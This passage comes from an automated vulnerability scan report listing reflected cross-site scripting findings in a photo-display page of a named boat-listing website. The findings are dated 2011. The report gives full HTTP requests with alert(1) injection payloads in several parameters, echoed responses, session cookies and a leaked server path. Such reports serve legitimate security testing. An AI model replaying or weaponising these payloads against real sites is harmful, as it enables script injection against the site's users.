The value of the boat_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1848e'%3balert(1)//d11de79295f was submitted in the boat_id parameter. This input was echoed as 1848e';alert(1)//d11de79295f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/pl_display_photo.jsp?&hosturl=starlingmarine&&ywo=starlingmarine&slim=broker&boat_id=20479061848e'%3balert(1)//d11de79295f&boatname=23%27+Contender+&photo_revised_date=1237828294000&photo_name=Photo+1&photo=1&url= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:29:12 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "20479061848e';alert(1)//d11de79295f"<br> ...[SNIP]...
The value of the boatname request parameter is copied into the HTML document as plain text between tags. The payload 3215e<script>alert(1)</script>501866bdbeb was submitted in the boatname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_display_photo.jsp?&hosturl=starlingmarine&&ywo=starlingmarine&slim=broker&boat_id=2047906&boatname=23%27+Contender+3215e<script>alert(1)</script>501866bdbeb&photo_revised_date=1237828294000&photo_name=Photo+1&photo=1&url= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:29:31 GMT Server: Apache Cache-Control: private Content-Length: 5851 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the hosturl request parameter is copied into an HTML comment. The payload 15d03--><script>alert(1)</script>de738e99a4e was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/pl_display_photo.jsp?slim=broker&ybw=&boat_id=2047906&boatname=23%27+Contender+&photo_revised_date=1237828294000&photo_name=Photo+2&photo=2&hosturl=starlingmarine15d03--><script>alert(1)</script>de738e99a4e&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:14 GMT Server: Apache Cache-Control: private Content-Length: 1141 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 988e4<script>alert(1)</script>08db9c89d2e was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_display_photo.jsp?slim=broker&ybw=&boat_id=2047906&boatname=23%27+Contender+&photo_revised_date=1237828294000&photo_name=Photo+2&photo=2&hosturl=starlingmarine988e4<script>alert(1)</script>08db9c89d2e&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:06 GMT Server: Apache Cache-Control: private Content-Length: 1129 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine988e4<script>alert(1)</script>08db9c89d2e/boats.header.html:/opt/weblogic/waeyw/ywcluster/public_html/brok ...[SNIP]... </script>08db9c89d2e/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine988e4<script>alert(1)</script>08db9c89d2e/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarine988e4<script> ...[SNIP]...
3.481. http://www.yachtworld.com/core/listing/pl_display_photo.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/pl_display_photo.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c70f4"><script>alert(1)</script>fd739562066 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_display_photo.jsp?c70f4"><script>alert(1)</script>fd739562066=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:29:12 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of the photo_name request parameter is copied into the HTML document as plain text between tags. The payload 18db0<script>alert(1)</script>a6499d1e16 was submitted in the photo_name parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_display_photo.jsp?&hosturl=starlingmarine&&ywo=starlingmarine&slim=broker&boat_id=2047906&boatname=23%27+Contender+&photo_revised_date=1237828294000&photo_name=Photo+118db0<script>alert(1)</script>a6499d1e16&photo=1&url= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 